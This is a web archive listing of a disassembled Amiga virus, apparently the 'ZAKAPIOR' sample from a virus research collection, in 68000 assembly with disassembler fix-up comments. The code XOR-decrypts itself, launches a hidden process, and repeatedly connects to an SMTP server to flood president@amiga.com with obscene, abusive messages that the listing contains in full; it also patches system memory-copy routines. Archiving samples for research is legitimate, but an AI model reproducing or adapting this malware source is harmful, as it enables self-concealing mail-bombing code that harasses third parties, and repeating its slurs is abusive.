home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / amiga_virus_collection_research.7z / VIRUSRESEARCH / ZAKAPIOR / CMQ060_DEC.ASM_3 < prev    next >
Text File  |  1999-08-05  |  7KB  |  395 lines
  1.  
  2. AFLINE    macro
  3.     dw    \1
  4.     endm
  5. _LVOAllocVec:    EQU    -$2AC
  6. _LVOCreateNewProc:    EQU    -$1F2
  7. AttnFlags:    EQU    $128
  8. _LVOCloseLibrary:    EQU    -$19E
  9. _LVOCacheClearU:    EQU    -$27C
  10. _LVOOpenResource:    EQU    -$1F2
  11. _LVOOpenLibrary:    EQU    -$228
  12. _LVODelay:    EQU    -$C6
  13. _LVOAllocMem:    EQU    -$C6
  14. _LVOCopyMem:    EQU    -$270
  15. ****************************************************************************
  16.     PUSHM    D0-D7/A0-A6
  17.     MOVEA.L    (4).W,A6
  18.     LEA    (lbC00001E,PC),A0
  19.     LEA    (lbL000216,PC),A1
  20.     MOVE.W    #$DEAD,D0
  21. lbC000014:    EOR.W    D0,(A0)+
  22.     CMPA.L    A0,A1
  23.     BNE.B    lbC000014
  24.     JSR    (_LVOCacheClearU,A6)
  25. lbC00001E:    BSR.B    lbC00002C
  26.     db    'dos.library',0
  27.  
  28. ;fiX Bad code terminator
  29. lbC00002C:    POP    A1
  30.     MOVEQ    #$25,D0
  31.     JSR    (_LVOOpenLibrary,A6)
  32.     MOVE.L    D0,D6
  33.     BEQ.B    lbC00007C
  34.     LEA    (lbL000216,PC),A0
  35.     MOVE.L    D6,(A0)
  36.     MOVE.L    #$196,D4
  37.     MOVEQ    #0,D1
  38.     MOVE.L    D4,D0
  39.     JSR    (_LVOAllocVec,A6)
  40.     MOVE.L    D0,D5
  41.     BEQ.B    lbC000076
  42.     MOVEA.L    D0,A1
  43.     LEA    (lbC000084,PC),A0
  44.     MOVE.L    D4,D0
  45.     JSR    (_LVOCopyMem,A6)
  46.     EXG    D6,A6
  47.     LEA    (zakapior.MSG,PC),A0
  48.     LEA    (lbL0001F8,PC),A1
  49.     MOVE.L    A0,(12,A1)
  50.     MOVE.L    A1,D1
  51.     MOVE.L    D5,(4,A1)
  52.     JSR    (_LVOCreateNewProc,A6)
  53.     EXG    D6,A6
  54. lbC000076:    MOVEA.L    D6,A1
  55.     JSR    (_LVOCloseLibrary,A6)
  56. lbC00007C:    POPM    D0-D7/A0-A6
  57.     BRA.W    lbC00021A
  58.  
  59. lbC000084:    MOVEA.L    (4).W,A6
  60.     MOVEQ    #4,D0
  61.     LEA    (bsdsocketlibr.MSG,PC),A1
  62.     JSR    (_LVOOpenLibrary,A6)
  63.     TST.L    D0
  64.     BEQ.B    lbC00010A
  65.     MOVEQ    #-1,D4
  66.     MOVEA.L    D0,A5
  67.     MOVEQ    #2,D0
  68.     MOVEQ    #1,D1
  69.     MOVEQ    #0,D2
  70.     EXG    A5,A6
  71.     JSR    (-$1E,A6)
  72. ;fiX "_LVO" type symbol expected
  73.     CMP.L    D4,D0
  74.     BEQ.B    lbC000102
  75.     MOVE.L    D0,D6
  76.     MOVE.L    #$FFFF,D1
  77.     MOVE.L    #$80,D2
  78.     LEA    (lbL00013C,PC),A0
  79.     MOVEQ    #8,D3
  80.     JSR    (-$5A,A6)
  81. ;fiX "_LVO" type symbol expected
  82.     LEA    (lbL000130,PC),A0
  83.     MOVE.L    D6,D0
  84.     MOVEQ    #$10,D1
  85.     JSR    (-$36,A6)
  86. ;fiX "_LVO" type symbol expected
  87.     CMP.L    D4,D0
  88.     BEQ.B    lbC0000FC
  89.     LEA    (HELO.MSG,PC),A3
  90. lbC0000D6:    MOVE.L    A3,D0
  91. lbC0000D8:    TST.B    (A3)+
  92.     BNE.B    lbC0000D8
  93.     MOVE.L    A3,D3
  94.     SUB.L    D0,D3
  95.     SUBQ.L    #1,D3
  96.     BEQ.B    lbC0000F4
  97.     MOVEA.L    D0,A0
  98.     MOVEQ    #0,D2
  99.     MOVE.L    D6,D0
  100.     MOVE.L    D3,D1
  101.     JSR    (-$42,A6)
  102. ;fiX "_LVO" type symbol expected
  103.     CMP.L    D0,D3
  104.     BEQ.B    lbC0000D6
  105. lbC0000F4:    MOVE.L    D6,D0
  106.     MOVEQ    #2,D1
  107.     JSR    (-$54,A6)
  108. ;fiX "_LVO" type symbol expected
  109. lbC0000FC:    MOVE.L    D6,D0
  110.     JSR    (-$78,A6)
  111. ;fiX "_LVO" type symbol expected
  112. lbC000102:    EXG    A5,A6
  113.     MOVEA.L    A5,A1
  114.     JSR    (_LVOCloseLibrary,A6)
  115. lbC00010A:    LEA    (lbL000216,PC),A0
  116.     MOVEA.L    (A0),A6
  117.     MOVE.L    #$BB8,D1
  118.     JSR    (_LVODelay,A6)
  119.     BRA.W    lbC000084
  120.  
  121. bsdsocketlibr.MSG:    db    'bsdsocket.library',0
  122. lbL000130:    dl    $10020019
  123.     dl    $C38F3846
  124.     dl    0
  125. lbL00013C:    dl    1
  126.     dl    $1E
  127. HELO.MSG:    db    'HELO',$A,0
  128.     db    'MAIL FROM: <X>',$A,0
  129.     db    'RCPT TO: <president@amiga.com>',$A,0
  130.     db    'DATA',$A,0
  131.     db    'From: Amiga Lover <>',$A,0
  132.     db    'Subject: FILTHY CUNT!',$A,$A,0
  133.     db    'FUCK U NAZI CUNT - DIE AND BURN IN HELL AMIGA KI'
  134.     db    'LLING WHORE!',$A,0
  135.     db    10
  136.     db    10
  137.     db    '.',$A,0
  138.     db    'QUIT',$A,0
  139.     db    0
  140. lbL0001F8:    dl    $800003EB
  141.     dl    0
  142.     dl    $800003F4
  143.     dl    0
  144.     dl    0
  145. zakapior.MSG:    db    'zakapior',0,0
  146. lbL000216:    dl    0
  147.  
  148. lbC00021A:    MOVEA.L    (4).W,A6
  149.     BTST    #3,(AttnFlags+1,A6)
  150.     BNE.B    lbC00022A
  151. lbC000226:    MOVEQ    #$14,D0
  152.     RTS
  153.  
  154. lbC00022A:    MOVE.L    #$1A3,D0
  155.     MOVEQ    #1,D1
  156.     JSR    (_LVOAllocMem,A6)
  157.     MOVE.L    D0,D6
  158.     BEQ.B    lbC000226
  159.     ADDI.W    #15,D6
  160.     ANDI.B    #$F0,D6
  161.     LEA    (lbC000290,PC),A0
  162.     MOVEA.L    D6,A1
  163.     MOVE.L    #$194,D0
  164.     BSR.W    lbC000378
  165.     MOVEA.L    A6,A1
  166.     LEA    (-$270).W,A0
  167.     MOVE.L    D6,D0
  168.     JSR    (-$1A4,A6)
  169. ;fiX "_LVO" type symbol expected
  170.     MOVEA.L    A6,A1
  171.     LEA    (-$276).W,A0
  172.     MOVE.L    D6,D0
  173.     ADDI.L    #$E8,D0
  174.     JSR    (-$1A4,A6)
  175. ;fiX "_LVO" type symbol expected
  176.     MOVEQ    #0,D0
  177.     RTS
  178.  
  179. ;fiX Label expected
  180.     db    '$VER: CMQ060 1.5 (10.7.99)',0,0
  181.  
  182. lbC000290:    TST.L    D0
  183.     BEQ.B    lbC0002E0
  184.     MOVE.W    A1,D1
  185.     BTST    #0,D1
  186.     BEQ.B    lbC0002A4
  187.     MOVE.B    (A0)+,(A1)+
  188.     SUBQ.L    #1,D0
  189.     BEQ.B    lbC0002E0
  190.     MOVE.W    A1,D1
  191. lbC0002A4:    BTST    #1,D1
  192.     BEQ.B    lbC0002BC
  193.     CMPI.L    #1,D0
  194.     BNE.B    lbC0002B6
  195.     MOVE.B    (A0)+,(A1)+
  196.     RTS
  197.  
  198. lbC0002B6:    MOVE.W    (A0)+,(A1)+
  199.     SUBQ.L    #2,D0
  200.     BEQ.B    lbC0002E0
  201. lbC0002BC:    CMPI.L    #$810,D0
  202.     BCC.B    lbC0002E2
  203. lbC0002C4:    MOVE.L    D0,D1
  204.     LSR.W    #2,D1
  205.     BEQ.B    lbC0002D0
  206. lbC0002CA:    MOVE.L    (A0)+,(A1)+
  207.     SUBQ.W    #1,D1
  208.     BNE.B    lbC0002CA
  209. lbC0002D0:    BTST    #1,D0
  210.     BEQ.B    lbC0002D8
  211.     MOVE.W    (A0)+,(A1)+
  212. lbC0002D8:    BTST    #0,D0
  213.     BEQ.B    lbC0002E0
  214.     MOVE.B    (A0)+,(A1)+
  215. lbC0002E0:    RTS
  216.  
  217. lbC0002E2:    CMPA.L    #$1000000,A0
  218.     BCS.B    lbC000344
  219.     CMPA.L    #$1000000,A1
  220.     BCS.B    lbC000344
  221.     MOVE.W    A1,D1
  222.     BTST    #2,D1
  223.     BEQ.B    lbC000300
  224.     SUBQ.L    #4,D0
  225.     MOVE.L    (A0)+,(A1)+
  226.     MOVE.W    A1,D1
  227. lbC000300:    BTST    #3,D1
  228.     BEQ.B    lbC00030C
  229.     SUBQ.L    #8,D0
  230.     MOVE.L    (A0)+,(A1)+
  231.     MOVE.L    (A0)+,(A1)+
  232. lbC00030C:    MOVE.W    A0,D1
  233.     ANDI.B    #15,D1
  234.     BNE.B    lbC000344
  235.     MOVE.L    D0,D1
  236.     LSR.L    #7,D1
  237.     AFLINE    $F620
  238. ;fiX Label expected
  239.     SUB.B    D0,D0
  240.     AFLINE    $F620
  241. ;fiX Label expected
  242.     SUB.B    D0,D0
  243.     AFLINE    $F620
  244. ;fiX Label expected
  245.     SUB.B    D0,D0
  246.     AFLINE    $F620
  247. ;fiX Label expected
  248.     SUB.B    D0,D0
  249.     AFLINE    $F620
  250. ;fiX Label expected
  251.     SUB.B    D0,D0
  252.     AFLINE    $F620
  253. ;fiX Label expected
  254.     SUB.B    D0,D0
  255.     AFLINE    $F620
  256. ;fiX Label expected
  257.     SUB.B    D0,D0
  258.     AFLINE    $F620
  259. ;fiX Label expected
  260.     SUB.B    D0,D0
  261.     SUBQ.L    #1,D1
  262.     BNE.B    START+$0318
  263. ;fiX Invalid reference
  264.     AND.W    #$7F,D0
  265.     BNE.B    lbC0002C4
  266.     RTS
  267.  
  268. lbC000344:    MOVE.L    D0,D1
  269.     LSR.L    #6,D1
  270. lbC000348:    MOVE.L    (A0)+,(A1)+
  271.     MOVE.L    (A0)+,(A1)+
  272.     MOVE.L    (A0)+,(A1)+
  273.     MOVE.L    (A0)+,(A1)+
  274.     MOVE.L    (A0)+,(A1)+
  275.     MOVE.L    (A0)+,(A1)+
  276.     MOVE.L    (A0)+,(A1)+
  277.     MOVE.L    (A0)+,(A1)+
  278.     MOVE.L    (A0)+,(A1)+
  279.     MOVE.L    (A0)+,(A1)+
  280.     MOVE.L    (A0)+,(A1)+
  281.     MOVE.L    (A0)+,(A1)+
  282.     MOVE.L    (A0)+,(A1)+
  283.     MOVE.L    (A0)+,(A1)+
  284.     MOVE.L    (A0)+,(A1)+
  285.     MOVE.L    (A0)+,(A1)+
  286.     SUBQ.L    #1,D1
  287.     BNE.B    lbC000348
  288.     AND.W    #$3F,D0
  289.     BNE.W    lbC0002C4
  290.     RTS
  291.  
  292. ;fiX Label expected
  293.     NOP
  294. lbC000378:    LSR.L    #2,D0
  295.     CMPI.L    #$204,D0
  296.     BCC.B    lbC00038E
  297.     TST.W    D0
  298.     BEQ.B    lbC00038C
  299. lbC000386:    MOVE.L    (A0)+,(A1)+
  300.     SUBQ.W    #1,D0
  301.     BNE.B    lbC000386
  302. lbC00038C:    RTS
  303.  
  304. lbC00038E:    CMPA.L    #$1000000,A0
  305.     BCS.B    lbC0003F0
  306.     CMPA.L    #$1000000,A1
  307.     BCS.B    lbC0003F0
  308.     MOVE.W    A1,D1
  309.     BTST    #2,D1
  310.     BEQ.B    lbC0003AC
  311.     SUBQ.L    #1,D0
  312.     MOVE.L    (A0)+,(A1)+
  313.     MOVE.W    A1,D1
  314. lbC0003AC:    BTST    #3,D1
  315.     BEQ.B    lbC0003B8
  316.     SUBQ.L    #2,D0
  317.     MOVE.L    (A0)+,(A1)+
  318.     MOVE.L    (A0)+,(A1)+
  319. lbC0003B8:    MOVE.W    A0,D1
  320.     ANDI.B    #15,D1
  321.     BNE.B    lbC0003F0
  322.     MOVE.L    D0,D1
  323.     LSR.L    #5,D1
  324.     AFLINE    $F620
  325. ;fiX Label expected
  326.     SUB.B    D0,D0
  327.     AFLINE    $F620
  328. ;fiX Label expected
  329.     SUB.B    D0,D0
  330.     AFLINE    $F620
  331. ;fiX Label expected
  332.     SUB.B    D0,D0
  333.     AFLINE    $F620
  334. ;fiX Label expected
  335.     SUB.B    D0,D0
  336.     AFLINE    $F620
  337. ;fiX Label expected
  338.     SUB.B    D0,D0
  339.     AFLINE    $F620
  340. ;fiX Label expected
  341.     SUB.B    D0,D0
  342.     AFLINE    $F620
  343. ;fiX Label expected
  344.     SUB.B    D0,D0
  345.     AFLINE    $F620
  346. ;fiX Label expected
  347.     SUB.B    D0,D0
  348.     SUBQ.L    #1,D1
  349.     BNE.B    START+$03C4
  350. ;fiX Invalid reference
  351.     AND.W    #$1F,D0
  352.     BNE.B    lbC000386
  353.     RTS
  354.  
  355. lbC0003F0:    MOVE.L    D0,D1
  356.     LSR.L    #4,D1
  357. lbC0003F4:    MOVE.L    (A0)+,(A1)+
  358.     MOVE.L    (A0)+,(A1)+
  359.     MOVE.L    (A0)+,(A1)+
  360.     MOVE.L    (A0)+,(A1)+
  361.     MOVE.L    (A0)+,(A1)+
  362.     MOVE.L    (A0)+,(A1)+
  363.     MOVE.L    (A0)+,(A1)+
  364.     MOVE.L    (A0)+,(A1)+
  365.     MOVE.L    (A0)+,(A1)+
  366.     MOVE.L    (A0)+,(A1)+
  367.     MOVE.L    (A0)+,(A1)+
  368.     MOVE.L    (A0)+,(A1)+
  369.     MOVE.L    (A0)+,(A1)+
  370.     MOVE.L    (A0)+,(A1)+
  371.     MOVE.L    (A0)+,(A1)+
  372.     MOVE.L    (A0)+,(A1)+
  373.     SUBQ.L    #1,D1
  374.     BNE.B    lbC0003F4
  375.     AND.W    #15,D0
  376.     BNE.W    lbC000386
  377.     RTS
  378.  
  379. ;fiX Label expected
  380.     NOP
  381.     dl    $30303030
  382. ;fiX Bad code terminator
  383.     dl    $68182688
  384.     dl    $682A6D50
  385.     dl    $682A
  386.     dl    $74550000
  387.     dl    $339B30
  388.     dl    $6D486578
  389.     dl    $206E756D
  390.     dl    $62657220
  391.     dl    $36383241
  392.     dl    $37343638
  393.     db    $20
  394.     end
  395.